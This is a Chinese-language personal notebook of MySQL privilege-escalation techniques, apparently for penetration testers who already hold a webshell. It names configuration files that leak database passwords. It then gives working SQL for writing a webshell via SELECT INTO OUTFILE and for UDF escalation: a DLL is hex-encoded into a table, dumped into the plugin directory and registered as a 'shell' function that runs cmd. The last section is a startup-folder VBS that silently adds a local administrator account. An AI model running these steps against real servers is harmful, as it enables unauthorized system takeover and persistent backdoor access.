Mysql提权
跑项目久了,太久没做技术,好多东西不记得翻车了,好记性不如烂笔头吧。
场景:通过Webshell拿到了数据库的连接地址
一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml
使用ultraedit、Editplus等编辑文件编辑数据库配置文件后,会留下bak文件,同样可以利用
1、常规select into outfile写木马
前置条件:有Web路径,secure_file_priv为空或指定路径为web路径
1.1 show global variables like 'secure%' #查看是否有上传权限
1.2 select @@basedir #查看mysql安装地址
1.3 select into oufile #写木马文件
其中创建数据库导出一句话后门与该法差不多就不介绍了。
2、UDF提权
前置条件:secure_file_priv为空或指定路径包含/mysql/lib/plugin文件夹,对2008及以下机器效果更好
UDF全称user define function,允许用户加载自定义dll创建功能函数
select into dumpfile #dumpfile对文件内容是原意写入,未做任何转移和增加,所以UDF提权中使用dumpfile进行dll文件
写入
2.1 select version() #查看版本
若版本小于5.1,需要将dll文件放到 C:\Windows\system32下,如果大于等于5.2,则需要将dll文件放在lib\plugin目录下才可以生效
2.2 SHOW VARIABLES LIKE '%plugin%' #查看是否有plugins目录
浏览目录,发现没有lib路径的存在,需要使用NTFS ADS进行创建(在获取到shell的情况下,如果权限够,也可以使用webshell管理工具创建。)。sql
语句如下,这里测试失败,百度说是权限问题,给了everyone权限测试也失败,为了实验的继续进行,自行创建了plugin文件夹
2.3 上传tools_udf.dll至plugin
如果有权限,可以直接将文件上传至plugin文件夹下。
如果无权限,需创建表,将dll文件16进制编码后存入,再通过语法导出至plugin文件夹下,详细步骤如下:
select hex(load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\tools_udf.dll")) into DUMPFILE "C:\\udf.txt"; #将我们的dll文件以16进制形式存储,为了后续能存入我们新建的表 create table my_udf_data(data longblob); #新建表 insert into my_udf_data values(udf文件的16进制格式); //在udftmp中写入udf.txt文件内容 select data from my_udf_data into dumpfile 'C:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.dll'; #将表里内容导出成dll文件 CREATE FUNCTION shell RETURNS STRING SONAME 'test.dll'; SELECT shell('cmd','whoami');
坑点:第三步udf文件的16进制除了记得加0x以外,千万别习惯性的加引号,这次复现因为加了引号调试了好久。
3、mof提权
技术太古老了,常见于xp、2003机器。
4、写启动项木马
利用SQL命令进行vbs脚本的创建和添加
create table secist(cmd text);
insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);
select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;